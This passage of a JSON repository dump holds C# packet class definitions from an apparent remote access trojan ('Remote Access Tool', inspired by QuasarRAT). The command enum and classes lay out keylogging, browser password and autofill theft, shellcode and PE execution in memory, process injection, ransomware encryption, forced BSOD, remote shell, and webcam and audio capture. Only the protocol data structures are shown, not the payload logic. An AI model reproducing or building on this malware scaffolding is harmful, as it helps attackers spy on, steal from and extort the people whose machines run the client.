    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : QuasarRAT  ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RemoteKeyboardPacket : IPacket\n    {\n        public RemoteKeyboardPacket(byte keyCode, bool isDown) : base()\n        {\n            this.PacketType = PacketType.RM_KEYBOARD;\n\n            this.keyCode = keyCode;\n            this.isDown = isDown;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public byte keyCode { get; set; }\n        public bool isDown { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteMousePacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RemoteMousePacket : IPacket\n    {\n        public enum MouseTypeAction \n        {\n            LEFT_DOWN =         0,\n            LEFT_UP =           1,\n            RIGHT_DOWN =        2,\n            RIGHT_UP =          3,\n            MOVE_MOUSE =        4,\n            MOVE_WHEEL_UP =     5,\n            MOVE_WHEEL_DOWN =   6,\n            MIDDLE_UP =         7,\n            MIDDLE_DOWN =       8,\n            UNKNOWN =           9\n        }\n        public RemoteMousePacket(MouseTypeAction mouseTypeAction, int x = 0, int y = 0) : base()\n        {\n            this.PacketType = PacketType.RM_MOUSE;\n\n            this.mouseTypeAction = mouseTypeAction;\n            this.x = x;\n            this.y = y;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public MouseTypeAction mouseTypeAction { get; set; }\n        public int x { get; set; }  \n        public int y { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteViewerPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RemoteViewerPacket : IPacket\n    {\n        public RemoteViewerPacket(PacketType packetType) : base()\n        {\n            this.PacketType = packetType;\n        }\n\n        public RemoteViewerPacket(PacketType packetType, string baseIp, string HWID) : base()\n        {\n            this.PacketType = packetType;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public byte[] desktopPicture { get; set; }\n        public int height { get; set; }\n        public int width { get; set; }\n        public int quality { get; set; }\n        public string format { get; set; }\n        public int timeMS { get; set; }\n\n        public int vResol { get; set; }\n        public int hResol { get; set; } \n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/File/DeleteFilePacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class DeleteFilePacket : IPacket\n    {\n        //server\n        public DeleteFilePacket(string path, string name, long fileTicket) : base()\n        {\n            PacketType = PacketType.FM_DELETE_FILE;\n\n            this.path = path;\n            this.name = name;\n            this.fileTicket = fileTicket;\n        }\n\n        //client\n        public DeleteFilePacket(string path, string name, bool deleted, string baseIp, string HWID, long fileTicket) : base()\n        {\n            PacketType = PacketType.FM_DELETE_FILE;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n            this.fileTicket = fileTicket;\n\n            this.path = path;\n            this.name = name;\n            this.deleted = deleted;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n        public long fileTicket { get; set; }\n\n        public string path { get; set; }\n        public string name { get; set; }\n        public bool deleted { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/File/DiskPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class DiskPacket : IPacket\n    {\n        //server\n        public DiskPacket() : base()\n        {\n            PacketType = PacketType.FM_GET_DISK;\n        }\n\n        //client\n        public DiskPacket(List<string> disks, string baseIp, string HWID) : base()\n        {\n            PacketType = PacketType.FM_GET_DISK;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n\n            this.disksList = disks;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public List<string> disksList { get;}\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/File/DownloadFilePacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class DownloadFilePacket : IPacket\n    {\n        //server\n        public DownloadFilePacket(string path, long fileTicket) : base()\n        {\n            this.PacketType = PacketType.FM_DOWNLOAD_FILE;\n            this.fileName = path;\n            this.fileTicket = fileTicket;\n        }\n\n        //client\n        public DownloadFilePacket(byte[]file, string fileName, string baseIp, string HWID, long fileTicket) : base() \n        {\n            this.PacketType = PacketType.FM_DOWNLOAD_FILE;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n            this.fileTicket = fileTicket;\n\n            this.file = file;\n            this.fileName = fileName;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n        public long fileTicket { get; set; }\n\n        public string fileName { get; set; }\n        public byte[] file { get; set; }\n        public int size { get; set; }\n        public int bufferSize { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/File/FileManagerPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class FileManagerPacket : IPacket\n    {\n        //server\n        public FileManagerPacket(string path) : base()\n        {\n            PacketType = PacketType.FM_GET_FILES_AND_DIRS;\n\n            this.path = path;\n        }\n\n        //client\n        public FileManagerPacket(Dictionary<ushort, List<object[]>> filesAndDirs, string baseIp, string HWID) : base()\n        {\n            PacketType = PacketType.FM_GET_FILES_AND_DIRS;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n\n            this.filesAndDirs = filesAndDirs;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string path { get; set; }\n        public Dictionary<ushort, List<object[]>> filesAndDirs { get; set; }\n    }\n}\n\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/File/RenameFilePacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RenameFilePacket : IPacket\n    {\n        public RenameFilePacket() : base()\n        {\n            this.PacketType = PacketType.FM_RENAME_FILE;\n        }\n\n        public RenameFilePacket(string oldName, string oldPath, string newName, string newPath)\n        {\n            this.PacketType = PacketType.FM_RENAME_FILE;\n\n            this.oldName = oldName;\n            this.oldPath = oldPath;\n            this.newName = newName;\n            this.newPath = newPath;\n        }\n\n        public RenameFilePacket(string oldName, string oldPath, string newName, string newPath, string baseIp, string HWID) \n        {\n            this.PacketType = PacketType.FM_RENAME_FILE;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n\n            this.oldName = oldName;\n            this.oldPath = oldPath;\n            this.newName = newName;\n            this.newPath = newPath;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string oldName { get; set; }\n        public string oldPath { get; set; }\n        public string newName { get; set; }\n        public string newPath { get; set; }\n        public bool isRenamed { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/File/ShortCutFileManagersPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class ShortCutFileManagersPacket : IPacket\n    {\n        public enum ShortCuts : byte \n        {\n            DOWNLOADS =     0,\n            DOCUMENTS =     1,\n            DESKTOP =       2,\n            USER_PROFILE =  3\n        }\n        //server\n        public ShortCutFileManagersPacket(ShortCuts shortCuts) : base()\n        {\n            this.PacketType = PacketType.FM_SHORTCUT_PATH;\n            this.shortCuts = shortCuts;\n        }\n\n        //client\n        public ShortCutFileManagersPacket(Dictionary<ushort, List<object[]>> filesAndDirs, string baseIp, string HWID) : base()\n        {\n            PacketType = PacketType.FM_SHORTCUT_PATH;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n\n            this.filesAndDirs = filesAndDirs;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string path { get; set; }\n        public ShortCuts shortCuts { get; set; }\n        public Dictionary<ushort, List<object[]>> filesAndDirs { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/File/StartFilePacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class StartFilePacket : IPacket\n    {\n        public StartFilePacket(string filePath) : base() \n        {\n            PacketType = PacketType.FM_START_FILE;\n            \n            this.filePath = filePath;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string filePath { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/File/UploadFilePacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class UploadFilePacket : IPacket\n    {\n        //server\n        public UploadFilePacket(string path, byte[] file) : base()\n        {\n            this.PacketType = PacketType.FM_UPLOAD_FILE;\n            this.path = path;\n            this.file = file;\n        }\n\n        //client\n        public UploadFilePacket(string fileName, bool uploaded, string baseIp, string HWID) : base()\n        {\n            this.PacketType = PacketType.FM_UPLOAD_FILE;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n            this.path = fileName;\n            this.uploaded = uploaded;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string path { get; set; }\n        public bool uploaded { get; set; }\n        public byte[] file { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/InformationPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class HardwareInformation\n    {\n        public Dictionary<string, List<string>> cpuInformation { get; set; }\n        public Dictionary<string, string> hardwareInformation { get; set; }\n    }\n\n    [Serializable]\n    public class SystemInformation \n    {\n        public enum AccountType\n        {\n            Admin,\n            User,\n            Guest,\n            Unknown\n        }\n        public Dictionary<string, string> systemInformation { get; set; }\n    }\n\n    [Serializable]\n    public class Information\n    {\n        public HardwareInformation hardwareInformation;\n        public SystemInformation systemInformation;\n    }\n\n    [Serializable]\n    public class InformationPacket : IPacket\n    {\n        public InformationPacket() : base()\n        {\n            this.PacketType = PacketType.MISC_INFORMATION;\n        }\n\n        public InformationPacket(Dictionary<string, List<string>> cpuInformation, string baseIp, string HWID) : base()\n        {\n            this.PacketType = PacketType.MISC_INFORMATION;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n            this.information = new Information();\n            this.information.hardwareInformation = new HardwareInformation();\n            this.information.systemInformation = new SystemInformation();\n            this.information.hardwareInformation.cpuInformation = cpuInformation;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public Information information { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogOfflinePacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class KeylogOfflinePacket : IPacket\n    {\n        public KeylogOfflinePacket(string keyStroke, string baseIp, string HWID) : base()\n        {\n            this.PacketType = PacketType.KEYLOG_OFFLINE;\n            this.keyStroke = keyStroke;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string keyStroke { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class KeylogPacket : IPacket\n    {\n        public KeylogPacket() : base()\n        {\n            PacketType = PacketType.KEYLOG_ON;\n        }\n\n        public KeylogPacket(string keyStroke, string baseIp, string HWID) : base()\n        {\n    \n            PacketType = PacketType.KEYLOG_ON;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n            \n            this.keyStroke = keyStroke;\n        }\n\n        public KeylogPacket(string baseIp, string HWID) : base()\n        {\n            PacketType = PacketType.KEYLOG_OFF;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string keyStroke { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MemoryExecutionPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class MemoryExecutionPacket : IPacket\n    {\n        public MemoryExecutionPacket(PacketType packetType, byte[] payload) : base()\n        {\n            this.PacketType = packetType;\n            this.payload = payload;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public byte[] payload { get; set; }\n        public string managedEntryPoint { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MiscellaneousPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class MiscellaneousPacket : IPacket\n    {\n        public MiscellaneousPacket(PacketType miscOption) : base()\n        {\n            this.PacketType = miscOption;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/NetworkInformationPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class TCPInformation\n    {\n        public string processName { get; set; }\n        public int PID { get; set; }\n        public string LocalEndPoint { get; set; }\n        public string RemoteEndPoint { get; set; }\n        public TCP_CONNECTION_STATE State { get; set; }\n\n        public enum TCP_CONNECTION_STATE\n        {\n            CLOSED = 1,\n            LISTENING,\n            SYN_SENT,\n            SYN_RCVD,\n            ESTABLISHED,\n            FIN_WAIT_1,\n            FIN_WAIT_2,\n            CLOSE_WAIT,\n            CLOSING,\n            LAST_ACK,\n            TIME_WAIT,\n            DELETE_TCP\n        }\n    }\n\n    [Serializable]\n    public class NetworkInformationPacket : IPacket\n    {\n        public NetworkInformationPacket() : base()\n        {\n            this.PacketType = PacketType.MISC_NETWORK_INFORMATION;\n        }\n\n        public NetworkInformationPacket(List<TCPInformation> tcpInformationList, string baseIp, string HWID) : base()\n        {\n            this.PacketType = PacketType.MISC_NETWORK_INFORMATION;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n            this.tcpInformationList = tcpInformationList;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public List<TCPInformation> tcpInformationList{ get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/OpenUrlPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class OpenUrlPacket : IPacket\n    {\n        public OpenUrlPacket(string url) : base()\n        {\n            this.PacketType = PacketType.MISC_OPEN_WEBSITE_LINK;\n            this.url = url;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string url { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/PowerPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class PowerPacket : IPacket\n    {\n        public PowerPacket(PacketType powerOption) : base()\n        {\n            this.PacketType = powerOption;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteChatPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RemoteChatPacket : IPacket\n    {\n        public RemoteChatPacket(PacketType packetType) : base()\n        {\n            this.PacketType = packetType;\n        }\n\n        public RemoteChatPacket(string msg) : base()\n        {\n            this.PacketType = PacketType.CHAT_ON;\n            this.msg = msg;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string msg { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteCodeExecution.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RemoteCodeExecution : IPacket\n    {\n        public RemoteCodeExecution(PacketType packetType, string compilerOptions, string code, List<string> references) : base()\n        {\n            this.PacketType = packetType;\n\n            this.compilerOptions = compilerOptions;\n            this.code = code;\n            this.references = references;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string compilerOptions { get; set; }\n        public string code { get; set; }\n        public List<string> references { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/ScreenRotationPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class ScreenRotationPacket : IPacket\n    {\n        public ScreenRotationPacket(string degrees) : base()\n        {\n            this.PacketType = PacketType.MISC_SCREEN_ROTATION;\n\n            this.degrees = degrees; \n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string degrees { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/WallPaperPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class WallPaperPacket : IPacket\n    {\n        public WallPaperPacket(byte[] wallpaper, string ext) : base() \n        {\n            this.PacketType = PacketType.MISC_SET_WALLPAPER;\n\n            this.wallpaper = wallpaper;\n            this.ext = ext;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public byte[] wallpaper { get; set; }\n        public string ext { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/PacketState.cs",
    "content": "﻿/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    public enum PacketState \n    {\n        UNKNOW = 0,\n        SENT = 1,\n        NOT_SENT = 2,\n        SENDING = 3,\n        RECEIVED = 4\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/PacketType.cs",
    "content": "﻿/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    public enum PacketType : byte\n    {\n        CLOSE_CLIENT =                          0,\n        UNINSTALL_CLOSE_CLIENT =                1,\n        CONNECTED =                             2,\n\n        RECOVERY_PASSWORDS =                    3,\n        RECOVERY_HISTORY =                      4,\n        RECOVERY_AUTOFILL =                     53,\n        RECOVERY_KEYWORDS =                     54,\n        RECOVERY_ALL =                          66,\n\n        FM_GET_DISK =                           5,\n        FM_GET_FILES_AND_DIRS =                 6,\n        FM_DOWNLOAD_FILE =                      7,\n        FM_DELETE_FILE =                        8,\n        FM_START_FILE =                         9,\n        FM_RENAME_FILE =                        46,\n        FM_SHORTCUT_PATH  =                     51,\n        FM_UPLOAD_FILE =                        58,\n\n        PM_GET_PROCESSES =                      10,\n        PM_KILL_PROCESS =                       11,\n        PM_SUSPEND_PROCESS =                    12,\n        PM_RESUME_PROCESS =                     13,\n        PM_INJECT_PROCESS =                     33, \n\n        KEYLOG_ON =                             14,\n        KEYLOG_OFF =                            15, \n        KEYLOG_OFFLINE =                        52,\n\n        MEM_EXEC_SHELLCODE =                    16,\n        MEM_EXEC_NATIVE_DLL =                   17,\n        MEM_EXEC_NATIVE_PE =                    18,\n        MEM_EXEC_MANAGED_DLL =                  19,\n        MEM_EXEC_MANAGED_PE =                   20,\n        MEM_EXEC_CSHARP_CODE =                  64,\n        MEM_EXEC_VB_CODE =                      65,\n\n        POWER_SHUTDOWN =                        21,\n        POWER_REBOOT =                          22,\n        POWER_LOG_OUT =                         23,\n        POWER_BSOD =                            24,\n        POWER_LOCK_WORKSTATION =                25,\n        POWER_SUSPEND =                         26,\n        POWER_HIBERNATE =                       27,\n\n        MISC_HIDE_TASKBAR =                     28,\n        MISC_SHOW_TASKBAR =                     29,\n        MISC_AUDIO_UP =                         30,\n        MISC_AUDIO_DOWN =                       31,\n        MISC_SET_WALLPAPER =                    32,\n        MISC_INFORMATION =                      43,\n        MISC_NETWORK_INFORMATION =              76,\n        MISC_SCREENLOCKER_ON =                  44,\n        MISC_SCREENLOCKER_OFF =                 45,\n        MISC_HIDE_DESKTOP_ICONS =               49,\n        MISC_SHOW_DESKTOP_ICONS =               50,\n        MISC_SCREEN_ROTATION =                  61,\n        MISC_ASK_ADMIN_RIGHTS =                 67,\n        MISC_OPEN_WEBSITE_LINK =                70,\n\n        RM_VIEW_ON =                            34,\n        RM_VIEW_OFF =                           35,\n        RM_MOUSE =                              59,\n        RM_KEYBOARD =                           60,\n\n        RC_GET_CAM =                            36,\n        RC_CAPTURE_ON =                         37,\n        RC_CAPTURE_OFF =                        38,\n\n        HDW_MS_OFF =                            39,\n        HDW_MS_ON =                             40,\n        HDW_KB_OFF =                            41,\n        HDW_KB_ON =                             42,\n\n        RANSOMWARE_ENCRYPTION =                 47,\n        RANSOMWARE_DECRYPTION =                 48,\n        RANSOMWARE_ENCRYPTION_CONFIRMATION =    71,\n        RANSOMWARE_DECRYPTION_CONFIRMATION =    72,\n\n        AUDIO_GET_DEVICES =                     55,\n        AUDIO_RECORD_ON =                       56,\n        AUDIO_RECORD_OFF =                      57,\n\n        CHAT_ON =                               62,\n        CHAT_OFF =                              63,\n\n        UAC_GET_RESTORE_POINT =                 68,\n        UAC_DELETE_RESTORE_POINT =              69,\n\n        SHELL_START =                           73,\n        SHELL_COMMAND =                         74,\n        SHELL_STOP =                            75\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessInjectionPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class ProcessInjectionPacket : IPacket\n    {\n        public enum INJECTION_METHODS : byte\n        {\n            CLASSIC = 0,\n            MAP_VIEW = 1\n        }\n\n        //server\n        public ProcessInjectionPacket(byte[] payload, INJECTION_METHODS injectionMethod, int processId) : base()\n        {\n            this.PacketType = PacketType.PM_INJECT_PROCESS;\n\n            this.payload = payload;\n            this.injectionMethod = injectionMethod;\n            this.processId = processId;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public INJECTION_METHODS injectionMethod { get; set; }\n        public byte[] payload { get; set; }\n        public int processId { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessKillerPacket.cs",
